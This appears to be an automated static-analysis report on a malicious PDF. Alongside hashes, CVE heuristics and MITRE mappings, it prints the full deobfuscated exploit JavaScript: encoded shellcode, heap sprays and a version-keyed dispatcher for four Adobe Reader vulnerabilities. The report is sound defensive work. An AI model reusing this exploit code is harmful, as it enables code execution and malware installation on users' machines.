Malicious PDF — malware analysis report

Static analysis result for SHA-256 7b80d4cf971bf650…

MALICIOUS

PDF

25.4 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode
MD5: c0ef6e4f68ac5f91316c5c011c84d89c SHA-1: 0a8e4a8fdae7d6b1b550bd6058a4e988573a4c64 SHA-256: 7b80d4cf971bf650962505eeb0575bed934911650fccf0ce31ef56bae5bb909b
516 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to achieve code execution. The deobfuscated JavaScript appears to be a stager designed to download and execute a second-stage payload, indicated by the use of functions like Collab.collectEmailInfo and util.printf in conjunction with heap spraying techniques.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
74ca1f02d24f80e9fd15eb13e0b8cac7c6d811f0edfe6c55164b032c535de920		 pdf-javascript-stream PDF /JS object 1 at offset 0xA 569 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
pzl='';
var q = date.getFullYear()-2007;
nxq='2011s'.replace(date.getFullYear(),'hi');
rotld=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+nxq+'[a]');
var juvyy = g(rotld);
wvtsv=('sub2011').replace(date.getFullYear(),'ject');
var wqhhj=g(wvtsv).replace(date.getFullYear(),'al');
ascs=g(wqhhj);
bray='pro2011cer';
bray=ascs('bray.replace(date.getFullYear(),"du")');
tlo=ascs(g(bray));
qtwis = ascs(juvyy);
for (i = 0; i < qtwis.length; i++) {
	tkgej = qtwis[i];
	pzl += tlo(tkgej);
}
ascs(pzl);
info_arithmetic_stage_000.js
856cd59cbe4b0e769f7ef99aa9a9e0f03f38953ee82ca0eb3c4bbda574ec30a2		 deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x302 3636 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ua934%ue2aa%uc3fa%ue5e8%uffff%u40ff%ua8a5%ua9a9%u28f7%uf545%ua9a8%u20a9%u244e%ub9e6%uc624%u98fd%ufe72%ufaf8%ufafa%ufafa%ufafa%ufafc%uc1fa%ua8ad%ua9a9%ufffc%uc1fa%uc7c6%ua9a9%udcc1%uc5db%ufdc4%u27c1%ua7e7%u4145%ua9e1%ua9a9%u41f9%ua9d5%ua9a9%u7956%u6d2a%uc1a1%u46e6%uace6%u41f9%ua9c5%ua9a9%u7956%u692c%ubedc%ufdc3%u5af0%uc103%u57db%ubf1a%ub441%ua9a9%uf9a9%uf841%ua9a9%u56a9%ufa79%u57c3%u20c1%ua8c6%u4114%ua9a1%ua9a9%u41f9%ua995%ua9a9%u7956%u98c9%ucd69%uf922%u2299%ua5fb%ufb22%u22bd%u81db%ub110%ua9a9%u98a9%u9856%u0569%uc895%uabd5%u8985%u6668%ua8a4%u4b6e%u2859%uf256%ue315%u22c3%ub9eb%ubb22%u70dc%ued20%ub58d%u6ac8%u22c9%u8dc5%u228d%u95ec%ufd22%ud1ac%u43a8%ue322%u22b1%u89f3%u42a8%u9d4a%u22e0%u229d%u47a8%u5698%u6998%u0555%u692d%uaedd%u6668%ua8a4%u426e%u925d%u8dd5%udc81%u2248%u8df3%u42a8%u22cf%ue2a5%uf322%ua8b5%u2242%u22ad%u41a8%ued20%ub58d%u6bc8%ua9a1%u4641%u5657%uc156%udddd%u93d9%u8686%uc7dc%uc4cb%uca87%u87c6%ucaca%ucd86%ud987%ud9c1%ucf96%u9b94%u8f9f%u94cc%ua99a';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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